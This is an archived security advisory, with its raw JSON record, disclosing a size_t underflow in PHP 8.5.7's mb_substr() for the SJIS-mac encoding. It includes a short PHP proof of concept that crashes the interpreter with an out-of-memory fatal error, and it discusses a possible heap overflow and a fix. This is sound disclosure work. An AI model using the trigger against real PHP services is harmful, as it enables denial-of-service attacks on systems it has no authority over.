VULNARCHIVE

GCVE-1988-2026-0322

PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow

Description (en)

# PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow

**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-06-18
**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow
**Contact:** https://fereidani.com/contact

## Description

The `mb_get_substr()` function in `ext/mbstring/mbstring.c`
deliberately skips an early empty return guard for the `SJIS-mac`
encoding when `from >= in_len`. As a result, it falls through to
`mb_get_substr_slow()`, executing `mb_convert_buf_init(&buf, MIN(len,
in_len - from), ...);`. When `from > in_len`, the parameter `in_len -
from` underflows the `size_t` representation, resulting in a vastly
large allocation size (near ~2^64 bytes). This leads to an immediate
Out-Of-Memory (OOM) fatal error. Furthermore, if
`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could
potentially allocate a tiny buffer while the structural limit retains
the pseudo-wild value, resulting in a heap buffer overflow when
subsequent codepoints are decoded and written.

## Proof of concept

```php
<?php
/*
 * PoC: mb_substr() 'SJIS-mac' size_t underflow
 * File:  ext/mbstring/mbstring.c  mb_get_substr() (~L2129) +
mb_get_substr_slow() (~L2102) *
 * mb_get_substr() deliberately skips the early "return empty" guard
for SJIS-mac:
 *
 *     if (len == 0 || (from >= in_len && enc != &mbfl_encoding_sjis_mac)) {
 *         return zend_empty_string;     // <-- sjis_mac bypasses this
when from >= in_len
 *     }
 *
 * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to
 * mb_get_substr_slow(), whose first line is:
 *
 *     mb_convert_buf_init(&buf, MIN(len, in_len - from), ...);
 *
 * With `from > in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.
 * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).
 *
 * Two outcomes, both wrong (correct result is the empty string):
 *  (A) `from` huge -> initsize ~2^64 -> fatal "Allowed memory size exhausted
 *      (tried to allocate 18446744073708551644 bytes)". CONFIRMED below.
 *  (B) `from` only slightly > in_len -> initsize sits just under 2^64 and
 *      _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,
 *      while buf->limit = out + initsize stays wild -> a subsequent write of
 *      decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:
 *      needs a SJIS-mac input decoding to more codepoints than bytes, i.e.
 *      from < codepoint_count while from > byte_count. Worth upstream review.)
 */
echo "PHP ", PHP_VERSION, "  sjis_mac available: ",
     (in_array("SJIS-mac", mb_list_encodings()) ? "yes" : "no"), "\n\n";

/* control: a normal encoding with from > strlen returns "" cleanly */
echo "UTF-8, from=10 > strlen('abc'): -> "; var_dump(@mb_substr("abc",
10, null, "UTF-8"));

/* The bug: SJIS-mac, from >> strlen, length omitted -> underflow -> OOM fatal.
 * The "tried to allocate 18...644 bytes" is literally (size_t)(3 - 1000000). */
echo "SJIS-mac, from=1000000 > strlen('abc'):\n";
@mb_substr("abc", 1000000, null, "SJIS-mac");
echo "(if you see this line, the fatal error above was caught/suppressed)\n";
```

## Impact

An attacker could intentionally furnish conditions where `from >
in_len` alongside the 'SJIS-mac' encoding, triggering a `size_t`
underflow. This predictably causes a severe Out-Of-Memory (OOM) fatal
error, culminating in a Denial of Service. Depending on environmental
details, it might hypothetically cause a heap buffer overflow.

## Solution

Adjust the constraints inside `mb_get_substr()` and
`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation
`in_len - from` should be adequately bounds-checked to halt
computation or safely cap at zero when `from > in_len`, sidestepping
the underflow when initializing string buffers.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `mb_get_substr()` function in `ext/mbstring/mbstring.c`\ndeliberately skips an early empty return guard for the `SJIS-mac`\nencoding when `from >= in_len`. As a result, it falls through to\n`mb_get_substr_slow()`, executing `mb_convert_buf_init(&buf, MIN(len,\nin_len - from), ...);`. When `from > in_len`, the parameter `in_len -\nfrom` underflows the `size_t` representation, resulting in a vastly\nlarge allocation size (near ~2^64 bytes). This leads to an immediate\nOut-Of-Memory (OOM) fatal error. Furthermore, if\n`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could\npotentially allocate a tiny buffer while the structural limit retains\nthe pseudo-wild value, resulting in a heap buffer overflow when\nsubsequent codepoints are decoded and written.\n\n## Proof of concept\n\n```php\n<?php\n/*\n * PoC: mb_substr() 'SJIS-mac' size_t underflow\n * File:  ext/mbstring/mbstring.c  mb_get_substr() (~L2129) +\nmb_get_substr_slow() (~L2102) *\n * mb_get_substr() deliberately skips the early \"return empty\" guard\nfor SJIS-mac:\n *\n *     if (len == 0 || (from >= in_len && enc != &mbfl_encoding_sjis_mac)) {\n *         return zend_empty_string;     // <-- sjis_mac bypasses this\nwhen from >= in_len\n *     }\n *\n * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to\n * mb_get_substr_slow(), whose first line is:\n *\n *     mb_convert_buf_init(&buf, MIN(len, in_len - from), ...);\n *\n * With `from > in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.\n * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).\n *\n * Two outcomes, both wrong (correct result is the empty string):\n *  (A) `from` huge -> initsize ~2^64 -> fatal \"Allowed memory size exhausted\n *      (tried to allocate 18446744073708551644 bytes)\". CONFIRMED below.\n *  (B) `from` only slightly > in_len -> initsize sits just under 2^64 and\n *      _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,\n *      while buf->limit = out + initsize stays wild -> a subsequent write of\n *      decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:\n *      needs a SJIS-mac input decoding to more codepoints than bytes, i.e.\n *      from < codepoint_count while from > byte_count. Worth upstream review.)\n */\necho \"PHP \", PHP_VERSION, \"  sjis_mac available: \",\n     (in_array(\"SJIS-mac\", mb_list_encodings()) ? \"yes\" : \"no\"), \"\\n\\n\";\n\n/* control: a normal encoding with from > strlen returns \"\" cleanly */\necho \"UTF-8, from=10 > strlen('abc'): -> \"; var_dump(@mb_substr(\"abc\",\n10, null, \"UTF-8\"));\n\n/* The bug: SJIS-mac, from >> strlen, length omitted -> underflow -> OOM fatal.\n * The \"tried to allocate 18...644 bytes\" is literally (size_t)(3 - 1000000). */\necho \"SJIS-mac, from=1000000 > strlen('abc'):\\n\";\n@mb_substr(\"abc\", 1000000, null, \"SJIS-mac\");\necho \"(if you see this line, the fatal error above was caught/suppressed)\\n\";\n```\n\n## Impact\n\nAn attacker could intentionally furnish conditions where `from >\nin_len` alongside the 'SJIS-mac' encoding, triggering a `size_t`\nunderflow. This predictably causes a severe Out-Of-Memory (OOM) fatal\nerror, culminating in a Denial of Service. Depending on environmental\ndetails, it might hypothetically cause a heap buffer overflow.\n\n## Solution\n\nAdjust the constraints inside `mb_get_substr()` and\n`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation\n`in_len - from` should be adequately bounds-checked to halt\ncomputation or safely cap at zero when `from > in_len`, sidestepping\nthe underflow when initializing string buffers.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/12"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0322",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12",
            "automated": true,
            "contentSha256": "1a56f6306615be693571f8da2403bba1e3c2530e6420451db521debf9559a671",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:23:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0322"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}